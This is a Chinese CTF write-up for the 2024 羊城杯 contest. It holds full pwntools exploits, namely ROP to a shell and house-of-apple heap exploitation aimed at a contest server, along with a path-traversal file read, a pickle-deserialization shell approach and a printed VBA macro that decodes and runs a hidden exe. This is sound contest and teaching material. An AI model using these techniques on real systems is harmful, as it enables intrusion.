2024羊城杯

UKFC 2024 羊城杯 Writeup

Web

web1

思路是先上传一个执行命令的jar包,打两次才可以,第一次让JVM加载个恶意反序列化类,但是不会触发类加载,得第二次反序列化那个类才会去加载。

web2

?lyrics=***存在任意文件读取,首先访问/lyrics?lyrics=/usr/etc/app/app.py,

/lyrics?lyrics=/usr/etc/app/cookie.py得到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import os
import random
from flask import Flask, make_response, request, render_template
from config.secret_key import secret_code
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)


app.secret_key = random.randbytes(16)

class UserData:


    def __init__(self, username):
        self.username = username

def Waf(data):
    
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid

@app.route("/", methods=['GET'])
def index():
    
    return render_template('index.html')

@app.route("/lyrics", methods=['GET'])
def lyrics():
 
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'

    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"

    return res

@app.route("/login", methods=['POST', 'GET'])
def login():

    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)

    return render_template('login.html')

@app.route("/board", methods=['GET'])
def board():
    
    invalid = cookie_check("user", secret=secret_code)

    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")

    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])

    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])

if __name__ == "__main__":
   
    os.chdir(os.path.dirname(__file__))
  
    app.run(host="0.0.0.0", port=8080)

cookie.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request

# Compatibility layer for Python 3
unicode = str
basestring = str
secret_code = "EnjoyThePlayTime123456"
data=
def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            break
    return valid

def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
            return True
    else:
        return False

def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default

def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')
    if len(value) > 4096:
        raise ValueError('Cookie value too long.')

def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

/lyrics?lyrics=/usr/etc/app/config/secret_key.py下得到secret_code

一眼pickle反序列化,思路跟去年差不多,不过waf过滤了R指令,所以用o指令伪造session传递到pickle反序列化那弹shell。

Pwn

pwn1

一道板子栈溢出+栈迁移 迁移到bss段就行了 注意地址不要太低 否则会操作到不可写地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
p=remote('139.155.126.78',31216)
#p=process('./pstack')
elf=ELF("./pstack")
def debug():
    gdb.attach(p)
    pause()
context.arch='amd64'
context.log_level='debug'
libc=elf.libc

poprdi=0x0000000000400773
poprsi2=0x0000000000400771
leave=0x00000000004006db
bss=0x601a00
payload1=b'a'*0x30+p64(bss)+p64(0x4006C4)
payload2=p64(bss)+p64(poprdi)+p64(0x0000000000600fc8)+p64(0x4006BF )

p.sendafter(b' overflow?\n',payload1)


p.send(payload2.ljust(0x30  ,b'\x00')+p64(bss-0x30)+p64(leave))

leak=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
print(hex(leak))
#debug()
#p.sendline(b'11')
p.send(p64(poprdi)+p64(leak+next(libc.search(b'/bin/sh\x00')))+p64(leak+libc.symbols['system'])+p64(leave)+p64(0)*2+p64(bss-0x30-8)+p64(leave))
p.interactive()

pwn2

一道堆风水的屌丝菜单题

size限制的比较死 edit也只有一次机会

通过最后一个功能很容易获得这次edit的机会

漏洞很明显 free的时候指针未清除

那么把堆块大小分为大中小

Leak addr

通过构造大小两堆块 ,再相继free掉 在原来的地址申请两个中堆块 free前的指针残留了 而show检测的城市可以是起始点和目的地一致 恰好原位置对应索引都是0 简单show变能得到后面中堆块(也要free 可得到libc和heap地址)的残留地址

hijack

由于程序留了个edit 简单构造一下 glibc版本是2.35,打house of apple 拿edit功能写残留指针到largebin去完成

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from pwn import *
p=remote('139.155.126.78',39813)
#p=process('./Travel')
elf=ELF("./Travel")
def debug():
    gdb.attach(p)
    pause()
context.arch='amd64'
context.log_level='debug'
libc=elf.libc
cities = [
    "guangzhou",  # 对应内存地址 0x5020
    "nanning",    # 对应内存地址 0x5030
    "changsha",   # 对应内存地址 0x5040
    "nanchang",   # 对应内存地址 0x5050
    "fuzhou"      # 对应内存地址 0x5060
]
def cmd(idx):
    p.sendlineafter(b'istance.',str(idx))

def add(tran,fromcity,to,l,cnt):
    cmd(1)
    p.sendlineafter(b'What kind of transportation do you want? car/train/plane?',str(tran))
    p.sendlineafter(b'From where?',str(cities[fromcity]))
    p.sendlineafter(b'To where?',str(cities[to]))
    p.sendlineafter(b'How far?',str(l))
    p.sendafter(b'Note:',cnt)

def delete(fromcity,to):
    cmd(2)
    p.sendlineafter(b'From where?',str(cities[fromcity]))
    p.sendlineafter(b'To where?',str(cities[to]))

def show(fromcity,to):
    cmd(3)
    p.sendlineafter(b'From where?',str(cities[fromcity]))
    p.sendlineafter(b'To where?',str(cities[to]))

def edit(fromcity,to,idx,l,cnt):
    cmd(4)
    p.sendlineafter(b'From where?',str(cities[fromcity]))
    p.sendlineafter(b'To where?',str(cities[to]))
    p.sendlineafter(b'you want to change?',str(idx))
    p.sendlineafter(b'How far?',str(l))
    p.sendafter(b'Note:',cnt)

def dij(fromcity):
    cmd(5)
    p.sendlineafter(b'Where do you want to travel?',str(cities[fromcity]))

add('car',0,1,0x3e8,b'a'*0x500)
add('car',1,2,0x3e8,b'b'*0x500)
add('car',2,3,0x3e8,b'c'*0x500)
dij(3)
dij(3)
dij(3)
dij(3)
add('car',0,2,0x3e8,b'a'*0x500)
add('car',0,2,0x3e8,b'a'*0x500)
add('car',0,4,0x3e7,b'geduan'*0x10)
delete(0,2)
add('train',0,3,0x3e8,b'a'*0x500)
show(0,0)

p.recvuntil(b'Note:')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-(0x773e01a1ace0-0x773e01800000)


print('libc------_>',hex(libc_base))
#debug()
delete(0,4)

add('train',1,3,0x3e8,b'chunk1'*20)#chunk1
add('car',1,4,0x3e8,b'geduan'*20)
delete(0,2)
#edit(0,0,0,0x3e8,b'g'*8)
add('car',2,4,0x3e8,b'chunk3'*2)#chunk2qqqqqqqqqqqqqqqqqqqqqqqqqqq

delete(1,3)
add('plane',3,4,0x3e8,b'geduan'*20)
delete(2,4)
add('plane',3,4,0x3e8,b'geduan'*20)
show(0,0)
p.recvuntil(b'Note:')
heap=u64(p.recv(6).ljust(8,b'\x00'))

add('car',2,4,0x3e8,b'c')#chunk21111111111111111111111111111111111111
add('train',3,4,0x3e8,b'chunk1'*20)#chunk1
#edit(0,0,0,0x3e8,p64(0)*3+p64(leak+libc.symbols['_IO_list_all']-0x20))

delete(3,4)
delete(2,4)
delete(1,4)
delete(0,3)
add('plane',0,3,0x3e8,b'geduan'*20)
add('train',0,4,0x3e8,b'geduan'*20)#chunk1
print('libc------_>',hex(libc_base))
print('heap------_>',hex(heap))
add('plane',0,3,0x3e8,b'geduan'*20)



lock = libc_base+(0x717c97a1ca60-0x717c97800000)
magic_gadget=libc_base+0x00000000001136df
wfile = libc_base + libc.sym['_IO_wfile_jumps']
setcontext=libc_base+libc.symbols['setcontext']+61
rdi=0x000000000002a3e5+libc_base
rsi=0x000000000002be51+libc_base
rdx2=0x000000000011f2e7+libc_base
heap+=0x30
orw=0
pl=p64(0)+p64(0) #2c0
#_IO_list_all
pl+=p64(0)*3 #2e0
pl+=p64(0) #orw_addr =chunk0 ( fake_IO_addr )+ 0xe0 + 0xe8 + 0x70 -- _IO_save_base 
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(heap + 0xe0) #370: chunk0+0xe0 -- _IO_wide_data
pl+=p64(0)*6
pl+=p64(wfile) #__GI__IO_wfile_jumps    p *(struct _IO_wide_data*)&_IO_wfile_jumps
#_IO_wide_data
pl+=p64(0)*0x1c
pl+=p64(heap + 0xe0 + 0xe8) #_IO_jump_t (vtable)
#_IO_jump_t
pl+=p64(0)*0xd
pl+=p64(magic_gadget)    #p  *(const struct _IO_jump_t *)

pl+=flat({
    0:'/flag\x00',
    0x18:p64(setcontext),
    0x40:p64(heap+0xe0+0xe8+0x48),#rdx

    0x78:p64(heap+0xe0+0xe8+0xe8),
    0x80:p64(rdi),
    0x88:p64(heap+0xe0+0xe8+0x70),
    0x90:p64(rsi),
    0xa0:p64(rdx2),
    0xb8:p64(libc_base+libc.symbols['open']),
    0xb8+8:p64(rdi),
    0xc0+8:p64(3),
    0xd0:p64(rsi),
    0xd8:p64(heap+0xe0+0xe8),
    0xe0:p64(rdx2),
    0xe8:p64(0x50),
    0xf0:p64(0x50),
    0xf8:p64(libc_base+libc.symbols['read']),
    0x100:p64(rdi),
    0x108:p64(heap+0xe0+0xe8),
    0x110:p64(libc_base+libc.symbols['puts'])
},filler=b'\x00')
add('car',2,4,0x3e8,pl)#chunk2
delete(0,4)
add('plane',0,3,0x3e8,b'geduan'*20)
delete(2,4)
edit(0,0,0,0x3e8,p64(0)+p64(0x531)+p64(0)*3+p64(libc_base+libc.symbols['_IO_list_all']-0x20))
add('plane',0,3,0x3e8,b'geduan'*20)
# ► 0x7af376b136df <__spawni_child+1423>    mov    rdx, qword ptr [rax + 0xb0]
#   0x7af376b136e6 <__spawni_child+1430>    call   qword ptr [rax + 0x88]

#debug()
# add('plane',0,3,0x3e8,b'a'*0x500+p64(0x521)*2+p64(0)+p64(0x3ee))
#add('train',0,3,0x3e8,b'a'*0x500+2*p64(0x541))
#delete(0,0)
#delete(2,4)
#
#add('plane',3,4,0x3e8,b'geduan'*20)

#show(0,2)
#p.recvuntil(b'aaaaaaaaaaaaaaaa')
#leak=u64(p.recv(6).ljust(8,b'\x00'))-(0x773e01a1ace0-0x773e01800000)
#
#edit(0,2,0,0x3e8,p64(0x521))


p.interactive()    

pwn3

popen命令执行 过滤了一些特殊符号 但是影响不大

很多思路 一个思路是将/flag cp 进/home/ctf/html,再直接读取即可

pwn4

一道沙盒题 UAF+house of apple劫持执行流板子题就不多说了

之后的沙盒部分详见博客记2024羊城杯的一道沙盒pwn题

pwn5

一道c++异常机制的板子题

题目内有后门 但是需要控制参数 而参数在功能1可覆写

了解原理后 功能2中进行栈溢出 控制bp为可写区域 返回地址为0x401bc7

在unwind堆栈回溯时即可跳转到这里继续执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
p=remote('139.155.126.78',34230)
#p=process('./logger')
elf=ELF("./logger")



def cmd(idx):
    p.sendlineafter(b'chocie',str(idx))
def add(cnt):
    cmd(1)
    p.sendafter(b'rd log details here:',cnt)
    p.sendlineafter(b'ds?',b'y')

def w(cnt):
    cmd(2)
    p.sendafter(b'our message here plz:',cnt)    

add(p64(0x404020)+p64(0x404020)) 
add(p64(0x404030)*2) 
for i in range(7):
    add('/bin/sh\x00'*2) 
#add(p64(0x48))    

payload=p64(0x404020)+p64(elf.plt['system'])+0x60*b'a'+p64(0x404038)+p64(0x401BC7)   
w(payload)
 
p.interactive()

Misc

misc6

相同思路的一道题:https://blog.csdn.net/weixin_42831646/article/details/127989608

文件名字解base64得到shift!

该磁盘文件使用FTK挂载,发现需要密码。先010查看得到

进一步通过刚刚得到的shift!推测出密码是!@#$%^&

挂载成功得到

![](assets/(https://swf07xy7zka.feishu.cn/space/api/box/stream/download/asynccode/?code=NDg1NDA4ZDhkNTg1NmY4NjliZTM1ODE5YTkwZDBiZmFfWnJTUEdhUmFHM0hIazR6QkpSYXY2c3AzV2xJMmdYdW9fVG9rZW46Uld0bGJzSXVSb0xIcFd4MmRTOGNYYkhnbnlJXzE3MjU5NTAzODY6MTcyNTk1Mzk4Nl9WNA)

发现修改日期不是19就是20,推断为0或1的二进制,转换后得到the_key_is_700229c053b4ebbcf1a3cc37c389c4fa

使用Encrypto解密得到flag

Crypto

Reverse

plc

ida打开 patch掉反调试

首先读取输入,若长度不为5则退出

然后将输入作为rc4密钥进行s盒置换

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
v78[0] = main_main_func1;
  v78[1] = v34;
  v82 = v78;
  v35 = v34;
  All = io_ReadAll(off_4DD9D8, v34, v78, 0, 1, v36, v37, v38, v39, v63, v67);
  v45 = v77->ptr;
  if ( v77->len <= 1 )
    runtime_panicIndex(1LL);
  v75 = All;
  v73 = v45[1];
  v46 = runtime_makeslice(&RTYPE_uint8, v35, v35, 0, 1, v41, v42, v43, v44, v64, v68, v71);
  v48 = v75;
  v49 = v35;
  for ( i = 0LL; v49 > i; ++i )
    *(v46 + i) = v73 ^ *(v48 + i);
  v51 = v76;
  v52 = *(v76 + 1024);
  v53 = *(v76 + 1025);
  for ( j = 0LL; v49 > j; ++j )
  {
    v55 = *(v51 + 4LL * ++v52);
    v53 += v55;
    v56 = *(j + v46);
    *(v51 + 4LL * v52) = *(v51 + 4LL * v53);
    *(v51 + 4LL * v53) = v55;
    v47 = (v55 + *(v51 + 4LL * v52));
    *(v46 + j) = *(v51 + 4 * v47) ^ v56 ^ 0x11;
  }
  *(v51 + 1024) = v52;
  *(v51 + 1025) = v53;
  os_WriteFile("./flag.png", 10, v46, v49, v49, 420, v52, v53, v47, v65, v69, *v70, v72);
  (*v82)();`

首先获取flag.png 然后将数据与输入的第二个字符异或后进行魔改rc4加密

rc4是单字节加密,且png文件头前八位不变,可以利用010读取加密过的flag文件头,然后仿写算法对密钥进行爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include<stdio.h> 
#include<string.h>
#define N 4010
        
        
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    unsigned int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}
        
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] = Data[k] ^ s[t] ^0x11;
    }
}
int main(){
unsigned char key[]={30,30,30,30,30,0};
unsigned long key_len = sizeof(key) - 1;

unsigned char datat[]= {0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A};
unsigned char data[] = {0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A};
unsigned char tr[]={0x85,0x43,0x72,0x78,0x26,0xc0,0x2e,0x6e};

int cnt=1;
while(1){
    rc4_crypt(data, sizeof(data), key, key_len);
    for (int i=0;i<8;i++) data[i]^=key[1];
    for (int i = 0; i < sizeof(data); i++){
        if ((data[i])!=tr[i]){
            break;
        }
        if (i==4) {
            for (int j = 0; j < sizeof(key); j++){
                printf("%c",key[j]);
            }
            return 0;
        }
    }
    for (int i=0;i<8;i++) data[i]=datat[i];
    for (int i=0;i<5;i++){
        if (key[i]<125){
            key[i]++;
            break;
        }else{
            key[i]=30;
        }
        if (i==2) printf("%d\n",key[4]);
    }
    if (key[4]==124) return 0;
}
return 0;}

爆破得到密码为0173d 利用rc4加密对称性,输入0173d即可还原flag

docCrack

宏VBA密码工程文件密码破解 - 『脱壳破解区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

破解后看里面函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
tempPath = ThisDocument.Path & "\temp1"
        Set tempfile = fso.CreateTextFile(tempPath, True)
        fso.GetFile(tempPath).Attributes = 1
        tempfile.WriteLine xpkdb
        tempfile.Close
    batPath = ThisDocument.Path & "\temp.bat"
    Set batFile = fso.CreateTextFile(batPath, True)
    fso.GetFile(batPath).Attributes = 2#改为1
    batFile.WriteLine "@echo off"
    batFile.WriteLine "cd /d " & ThisDocument.Path
    batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe"
    batFile.WriteLine "del temp"#删掉
    batFile.WriteLine "temp.exe " & """" & Result & """"
    batFile.Close
    Set objExec = objShell.Exec(batPath)
    Set objStdOut = objExec.StdOut
    Do While Not objStdOut.AtEndOfStream
        output = Trim(objStdOut.ReadLine)
    Loop
    output = Left(output, Len(output))
    StartTime = Timer
    Do While Timer < StartTime + 1
        DoEvents
    Loop
    fso.DeleteFile batPath
    fso.DeleteFile tempPath

    If output = "good" Then
        temp = MsgBox("good!!!", , "congratulations!!!")
        Exit Do
    Else
        temp = MsgBox("Sorry, U are wrong!!!", , "Hacked_by_??????")
        isContinue = MsgBox("Continue?", vbYesNo + vbQuestion, "Warning")
    End If

使用bat创建了一个temp.exe 执行后删除

我们修改代码使其可见并不被删除 执行宏 拖入ida

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
if ( argc == 2 )
  {
    for ( j = 0; j < j_strlen(argv[1]) && j < 0x36; ++j )
      v7[j + 64] = argv1 << 6;
    for ( j = 0; j < 0x36; ++j )
    {
      if ( v7[j] != v7[j + 64] )
      {
        sub_7FF77FF91190("bad");
        return 0;
      }
    }
    sub_7FF77FF91190("good");
    return 0;
  }
  else
  {
    sub_7FF77FF91190("no way!!!");
    return 1;
  }
//发现是将输入数据向左移6位 写脚本解密
#include<stdio.h> 
#include<string.h>
#define N 4010
        
int main(){
unsigned char ida_chars[] =
    {
      0xC0, 0x10, 0x00, 0x00, 0x80, 0x11, 0x00, 0x00, 0x00, 0x15,
      0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0xC0, 0x14, 0x00, 0x00,
      0x40, 0x10, 0x00, 0x00, 0x00, 0x1F, 0x00, 0x00, 0x40, 0x14,
      0x00, 0x00, 0x40, 0x19, 0x00, 0x00, 0x80, 0x19, 0x00, 0x00,
      0x00, 0x16, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x00, 0x1D,
      0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0xC0, 0x18, 0x00, 0x00,
      0x80, 0x19, 0x00, 0x00, 0x40, 0x1A, 0x00, 0x00, 0x00, 0x18,
      0x00, 0x00, 0x80, 0x18, 0x00, 0x00, 0x40, 0x1D, 0x00, 0x00,
      0x00, 0x1A, 0x00, 0x00, 0x80, 0x1C, 0x00, 0x00, 0x00, 0x1D,
      0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00,
      0x80, 0x09, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x40, 0x11,
      0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00,
      0x80, 0x19, 0x00, 0x00, 0x40, 0x1D, 0x00, 0x00, 0x80, 0x18,
      0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0xC0, 0x0D, 0x00, 0x00,
      0x40, 0x18, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x80, 0x12,
      0x00, 0x00, 0x80, 0x19, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00,
      0x40, 0x1D, 0x00, 0x00, 0xC0, 0x0D, 0x00, 0x00, 0x00, 0x16,
      0x00, 0x00, 0x40, 0x14, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00,
      0x40, 0x1D, 0x00, 0x00, 0x80, 0x1C, 0x00, 0x00, 0x80, 0x0C,
      0x00, 0x00, 0x80, 0x18, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x00,
      0x80, 0x09, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x80, 0x09,
      0x00, 0x00, 0x80, 0x1E, 0x00, 0x00
    };
for (int i=0;i<sizeof(ida_chars);i+=4){
    printf("%c",((((ida_chars[i+1]<<8)|(ida_chars[i]))&0xffff)>>6));//CFTDSA|QefX6tXcfi`buhrt&&&XE6pfubX7aXJfdu7XQ6ur2bt&&&z
}

结果均为可见字符,这里随便猜一下是异或,将前六位异或“DASCTF”发现结果均为7

1
2
3
4
 char tt[]="CFTDSA|QefX6tXcfi`buhrt&&&XE6pfubX7aXJfdu7XQ6ur2bt&&&z";
    for (int i=0;i<sizeof(tt);i++){
        printf("%c",tt[i]^7);
    }

得到flag

你这主函数保真吗

找到加密逻辑在__static_initialization_and_destruction_0函数里

挨个看,发现首先对输入进行ROT13,再进行离散余弦变换后与密文比较

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
for ( i = 0; i < size; ++i )
  {
    for ( j = 0; j < size; ++j )
    {
      v5 = *std::vector<int>::operator[](j, v10);
      v2 = cos((j + 0.5) * (i * 3.141592653589793) / size);
      v6 = v2 * v5;
      v3 = std::vector<double>::operator[](i, v11);
      *v3 = *v3 + v6;
    }
    if ( i )
      v4 = sqrt(2.0 / size);
    else
      v4 = sqrt(1.0 / size);
    v7 = v4;
    eax9 = std::vector<double>::operator[](i, v12);
    *eax9 = *eax9 * v7;
  }
  return retstr;
//首先进行逆离散余弦变换,然后进行rot13解密

#include <stdio.h>  
#include <math.h>  

char rot13(char c) {  
    // 检查字符是否为大写字母  
    if (c >= 'A' && c <= 'Z') {  
        return 'A' + (c - 'A' + 13) % 26;  
    }  
    // 检查字符是否为小写字母  
    else if (c >= 'a' && c <= 'z') {  
        return 'a' + (c - 'a' + 13) % 26;  
    }  
    // 其他字符保持不变  
    return c;  
}  

#define N 33 // DCT的大小  

int main() {  
double out[N] = { 513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.98641, -29.2989,
    15.9422, 21.4138, 29.4754, -2.77161, -6.58794, -4.22332, -7.20771, 8.83506,
    -4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102, 24.7414, -11.6222,
    -9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.689,
    21.879, 26.8296/* 在这里填入你的DCT输出数据 */ }; 
 double input[N];  
 double v2, v5, v6, v3;  

    // IDCT 计算  
    for (int i = 0; i < N; ++i) {  
        v3 = 0.0;  
        for (int j = 0; j < N; ++j) {  
            v5 = out[j]; // DCT系数  
            v2 = (j == 0) ? sqrt(1.0 / N) : sqrt(2.0 / N); // 权重  
            v6 = v2 * cos((i + 0.5) * (j * M_PI) / N); // 余弦函数  
            v3 += v5 * v6; // 累加结果  
        }  
        input[i] = v3; // 还原的输入值  
        printf("%c", (int)(input[i]+0.5));  
    }  
    printf("\n");
    char tt[]="QNFPGS{Ju0_1f_Zn1a_@aq_ShaaL_Qpg}";
    for (int i=0;i<sizeof(tt);i++){
            printf("%c",rot13(tt[i]));
        }

    return 0;  
}

rustVM

题目难度简单 直接ida打开,看一眼逻辑

进行一些初始化操作,随便输入一点东西动态调试跑起来

这里进行长度检测和头尾检测,然后异或值匹配头部和尾部

同样是比较头尾和检验长度的操作,应该是混淆

这里有一大坨0x3f加上位运算,调试发现是对输入base64

然后传入关键函数,这个函数多次出现,flag经过base64转化为base64_res传入

找到关键的vm函数,进行简单分析

这里的opcode比较复杂,不同二进制位控制不同流程,上两位控制最外层,下位控制数组下标,这里写了一个加法器和一个异或器,下面还有一大堆重复调用,调试后发现a1[1048]决定a[1052]的大小,而在check里a[1052]必须为0,调试其他函数发现加法器并不影响值,直接断在异或处,反复调试拿到数据,异或一把梭。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import base64
#aa = [0x18,0x18,0x33,0xb1,0x18,0x9,0x36,0xa4,0xe,0xa6,0x13,0x2a,0x1c,0x9e,0x33,0x1b,0xc,0x96,0x36,0x57,0x05,0x5d,0x26,0xad,0x0c,0xae,0x36,0x75,0xd,0x65,0x25,0xac,0xd,0x9,0x3,0x8c,0x10,0xa0,0x35,0x76,0x0e,0x47,0x16,0x2c,0x8,0x10,0x38,0x01,0x0e,]
 
a = [0,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xA2,0x43,0x68,0x89,0x4,0x8f,0xB0,0x43,0x49,0x3A,0x18,0x39,0x72,0xc,0xBa,0x76,0x98,0x13,0x8b,0x46,0x33,0x2B,0x25,0xA2,0x8b,0x27,0xB7,0x61,0x7C,0x3F,0x58,0x56]
b= [0x18,0xb1,0x9,0xa4,0xA6,0x2A,0x9E,0x1B,0x96,0x57,0x5D,0xAd,0xAE,0x75,0x65,0xAC,0x09,0x8C,0xA0,0x76,0x47,0x2C,0x10,0x01,0x7C,0x0f,0xBa,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2D,0x2D,0x9A,0x87,0x31,0xBa,0x43,0x70,0x2C,0x4C,0x56]
 
cc=[]
for i in range(0,len(a)):
    cc.append(a[i]^b[i])
print(cc)
dd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=`"
flag = ''
for i in range(0,len(cc)):
    # print(table[each],end='')
    flag+= dd[cc[i]]
 
print(base64.b64decode(flag.encode("utf-8")))

(还有frida爆破和ponce爆破的方法,未完待续)

数据安全

1

直接根据数据特征排序数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
